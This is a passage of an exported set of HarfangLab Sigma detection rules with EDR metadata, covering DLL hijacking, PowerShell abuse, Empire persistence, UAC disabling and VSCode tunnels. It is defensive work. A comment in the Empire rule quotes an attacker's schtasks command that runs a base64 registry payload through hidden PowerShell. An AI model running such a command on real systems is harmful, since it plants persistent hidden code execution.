+  "content": "title: DLL Hijacking via telnetc.exe\nid: 412822e9-7d4c-4c6a-a2b4-aa2ce0e788c5\ndescription: |\n    Detects potential Windows DLL Hijacking via telnetc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'telnetc.exe'\n        ImageLoaded|endswith: '\\security.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "412822e9-7d4c-4c6a-a2b4-aa2ce0e788c5",
+  "rule_name": "DLL Hijacking via telnetc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via telnetc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "415ead88-88d6-4df2-97f3-ce11909c0e62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607086Z",
+  "creation_date": "2026-03-23T11:45:34.607089Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607097Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-8.0",
+    "https://cert.gov.ua/article/6276894",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_suspicious_process_started_by_powershell.yml",
+  "content": "title: Suspicious Process Started via PowerShell\nid: 415ead88-88d6-4df2-97f3-ce11909c0e62\ndescription: |\n    Detects the use of the PowerShell \"Process.Start\" method to execute a process via command-line.\n    In December 2023, APT28 attackers have been spotted executing process through PowerShell using this cmdlet, directly via command-line.\n    It is recommended to investigate this command and the executed process to determine their legitimacy.\nreferences:\n    - https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-8.0\n    - https://cert.gov.ua/article/6276894\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/01/26\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PoweShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains: '[system.Diagnostics.Process]::Start('\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "415ead88-88d6-4df2-97f3-ce11909c0e62",
+  "rule_name": "Suspicious Process Started via PowerShell",
+  "rule_description": "Detects the use of the PowerShell \"Process.Start\" method to execute a process via command-line.\nIn December 2023, APT28 attackers have been spotted executing process through PowerShell using this cmdlet, directly via command-line.\nIt is recommended to investigate this command and the executed process to determine their legitimacy.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "41b8f355-e9a0-4623-8e15-3ca931879b2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073294Z",
+  "creation_date": "2026-03-23T11:45:34.073296Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073300Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BC-SECURITY/Empire",
+    "https://attack.mitre.org/techniques/T1053/005/",
+    "https://attack.mitre.org/software/S0363/"
+  ],
+  "name": "t1053_005_empire_powershell_scheduled_task.yml",
+  "content": "title: PowerShell Empire Scheduled Task Persistence Added\nid: 41b8f355-e9a0-4623-8e15-3ca931879b2d\ndescription: |\n    Detects the execution of a suspicious scheduled task related to the Empire attack framework.\n    Empire is an open-source, cross-platform remote administration and post-exploitation framework where the post-exploitation agents are written in pure PowerShell for Windows.\n    It is recommended to investigate the command-line performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/BC-SECURITY/Empire\n    - https://attack.mitre.org/techniques/T1053/005/\n    - https://attack.mitre.org/software/S0363/\ndate: 2020/10/14\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.t1059.001\n    - attack.s0363\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Empire\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\schtasks.exe'\n        # \"C:\\Windows\\system32\\schtasks.exe\" /Create /F /RU system /SC DAILY /ST 09:00 /TN Updater /TR \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\\Software\\Microsoft\\Network debug).debug)))\\\"\n        CommandLine|contains|all:\n            - '((gp '\n            - '-NonI -W hidden -c '\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "41b8f355-e9a0-4623-8e15-3ca931879b2d",
+  "rule_name": "PowerShell Empire Scheduled Task Persistence Added",
+  "rule_description": "Detects the execution of a suspicious scheduled task related to the Empire attack framework.\nEmpire is an open-source, cross-platform remote administration and post-exploitation framework where the post-exploitation agents are written in pure PowerShell for Windows.\nIt is recommended to investigate the command-line performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2020-10-14",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "41d7267d-3dda-4c98-b61e-b8ef463ac92c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073093Z",
+  "creation_date": "2026-03-23T11:45:34.073096Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073100Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en",
+    "https://github.com/mandiant/ccmpwn",
+    "https://attack.mitre.org/techniques/T1072/"
+  ],
+  "name": "t1072_scnotification_config_write.yml",
+  "content": "title: Windows Session Hijacking via SCNotification.exe Prepared\nid: 41d7267d-3dda-4c98-b61e-b8ef463ac92c\ndescription: |\n    Detects the modification of the SCNotification.exe configuration file.\n    Adversaries may abuse SCNotification.exe by modifying its configuration to execute an AppDomainManager payload and execute arbitrary commands.\n    It is recommended to check the content of the SCNotification.exe.config to identify any malicious content.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en\n    - https://github.com/mandiant/ccmpwn\n    - https://attack.mitre.org/techniques/T1072/\ndate: 2024/07/30\nmodified: 2025/07/07\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.lateral_movement\n    - attack.t1072\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection_create_write:\n        Kind:\n            - 'write'\n            - 'create'\n        Path|endswith: '?:\\Windows\\CCM\\SCNotification.exe.config'\n\n    selection_rename:\n        Kind: 'rename'\n        TargetPath|endswith: '?:\\Windows\\CCM\\SCNotification.exe.config'\n\n    # CCM installer\n    exclusion_msiexec:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "41d7267d-3dda-4c98-b61e-b8ef463ac92c",
+  "rule_name": "Windows Session Hijacking via SCNotification.exe Prepared",
+  "rule_description": "Detects the modification of the SCNotification.exe configuration file.\nAdversaries may abuse SCNotification.exe by modifying its configuration to execute an AppDomainManager payload and execute arbitrary commands.\nIt is recommended to check the content of the SCNotification.exe.config to identify any malicious content.\n",
+  "rule_creation_date": "2024-07-30",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1072"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "41d92614-4908-4b83-a287-690eb8445ed7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622813Z",
+  "creation_date": "2026-03-23T11:45:34.622815Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622819Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration",
+    "https://twitter.com/1ZRR4H/status/1575364101148114944",
+    "https://attack.mitre.org/techniques/T1548/"
+  ],
+  "name": "t1548_uac_consent_config_disabled.yml",
+  "content": "title: UAC Registry Configuration Disabled\nid: 41d92614-4908-4b83-a287-690eb8445ed7\ndescription: |\n    Detects a change in the User Account Control registry configuration.\n    This rule detects the complete disabling of the UAC consent window.\n    Attackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\n    It is recommended to investigate the process performing the registry edit to look for malicious content or actions.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration\n    - https://twitter.com/1ZRR4H/status/1575364101148114944\n    - https://attack.mitre.org/techniques/T1548/\ndate: 2022/11/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin'\n        Details: 'DWORD (0x00000000)'\n\n    # This is handled by the rule 189eeb83-5aec-4186-97ea-ad22929a4f15\n    # C:\\Windows\\system32\\UserAccountControlSettings.exe\n    filter_useraccountsettings:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\DllHost.exe /Processid:{EA2C6B24-C590-457B-BAC8-4A0F9B13B5B8}'\n            - '?:\\Windows\\SysWOW64\\DllHost.exe /Processid:{EA2C6B24-C590-457B-BAC8-4A0F9B13B5B8}'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_ansible_powershell:\n        ProcessImage|endswith: '\\powershell.exe'\n        ProcessCommandLine|contains:\n            # \"Ansible requires PowerShell v3.0 or newer\" UTF-16LE with all 3 offsets\n            - 'QQBuAHMAaQBiAGwAZQAgAHIAZQBxAHUAaQByAGUAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADMALgAwACAAbwByACAAbgBlAHcAZQByA'\n            - 'EAbgBzAGkAYgBsAGUAIAByAGUAcQB1AGkAcgBlAHMAIABQAG8AdwBlAHIAUwBoAGUAbABsACAAdgAzAC4AMAAgAG8AcgAgAG4AZQB3AGUAcg'\n            - 'BAG4AcwBpAGIAbABlACAAcgBlAHEAdQBpAHIAZQBzACAAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMwAuADAAIABvAHIAIABuAGUAdwBlAHIA'\n\n    exclusion_device_enroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_clickshare:\n        ProcessOriginalFileName:\n            - 'clickshare.exe'\n            - 'ClickShare_for_Windows.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Barco N.V.'\n\n    exclusion_vaudio:\n        ProcessImage: '?:\\Program Files (x86)\\Common Files\\VAudio\\Audckq32.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n\n    exclusion_siemens:\n        ProcessImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'TSplus SAS'\n\n    exclusion_cobas:\n        ProcessOriginalFileName: 'CobasInfinityInstaller.exe'\n\n    exclusion_legitimate_programs:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\wps-ipro2\\wps-ipro2.exe'\n            - '?:\\Program Files (x86)\\black box whps\\whps.exe'\n            - '?:\\Program Files (x86)\\logmein\\x64\\logmein.exe'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\sources\\setupplatform.exe'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_intune:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_vmware airWatch:\n        # C:\\Program Files (x86)\\Airwatch\\AgentUI\\TaskScheduler.exe\n        ProcessOriginalFileName: 'TaskScheduler.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'VMware, Inc.'\n\n    exclusion_roche:\n        ProcessOriginalFileName: 'RITS_InfinityModulesInstaller.exe'\n        ProcessDescription: 'Roche IT Infinity Modules Installer'\n        ProcessCompany: 'Roche Diagnostics'\n\n    exclusion_wps-ipro:\n        ProcessOriginalFileName: 'WPS-IPro2.exe'\n        ProcessProduct: 'Wireless Presentation System'\n        ProcessCompany: 'AWIND Inc.'\n\n    exclusion_iagona:\n        ProcessImage|contains: 'Neoscreen'\n        ProcessDescription: 'Installation Pack'\n        ProcessProduct: 'Neoscreen'\n        ProcessCompany: 'IAGONA'\n\n    # https://www.tranquil.it/\n    exclusion_tranquil:\n        ProcessGrandparentProduct: 'WAPT'\n        ProcessGrandparentCompany: 'Tranquil IT'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Tranquil I.T. Systems'\n\n    exclusion_sccm:\n        ProcessAncestors|contains: '|?:\\MININT\\Tools\\X64\\TsManager.exe|?:\\MININT\\Tools\\X64\\TsmBootstrap.exe|'\n\n    exclusion_provconnect:\n        ProcessGrandparentImage: '?:\\Program Files\\proVconnect\\proVconnect Device Agent\\Device Agent\\bin\\proVconnect.Agent.Windows.exe'\n\n    exclusion_ninjarmm:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\\\*\\NinjaRMMAgentPatcher.exe|?:\\Windows\\System32\\services.exe|'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "41d92614-4908-4b83-a287-690eb8445ed7",
+  "rule_name": "UAC Registry Configuration Disabled",
+  "rule_description": "Detects a change in the User Account Control registry configuration.\nThis rule detects the complete disabling of the UAC consent window.\nAttackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\nIt is recommended to investigate the process performing the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42063cd7-a184-4060-aa08-24504240bb0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080798Z",
+  "creation_date": "2026-03-23T11:45:34.080800Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080805Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsadd.yml",
+  "content": "title: DLL Hijacking via dsadd.exe\nid: 42063cd7-a184-4060-aa08-24504240bb0b\ndescription: |\n    Detects potential Windows DLL Hijacking via dsadd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsadd.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\activeds.dll'\n            - '\\netapi32.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "42063cd7-a184-4060-aa08-24504240bb0b",
+  "rule_name": "DLL Hijacking via dsadd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsadd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "42219252-5c4c-42ea-b6aa-3a48b6da5be0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623381Z",
+  "creation_date": "2026-03-23T11:45:34.623383Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623387Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/",
+    "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/",
+    "https://ipfyx.fr/post/visual-studio-code-tunnel/",
+    "https://code.visualstudio.com/docs/remote/tunnels",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1090_vs_code_tunnel.yml",
+  "content": "title: VSCode Proxy Tunnel Started\nid: 42219252-5c4c-42ea-b6aa-3a48b6da5be0\ndescription: |\n    Detects the VSCode binary being executed with command-line arguments indicating the start of a VS Code network tunnel.\n    Since July 2023, Microsoft Visual Studio Code includes a feature called Dev Tunnels that allows remote access to a system by exposing local services through Microsoft-managed infrastructure.\n    Threat actors have abused this functionality to gain persistent remote access, bypass network restrictions, and evade traditional remote access detections by leveraging trusted Microsoft domains.\n    It is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\nreferences:\n    - https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/\n    - https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\n    - https://ipfyx.fr/post/visual-studio-code-tunnel/\n    - https://code.visualstudio.com/docs/remote/tunnels\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2026/01/09\nmodified: 2026/01/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: 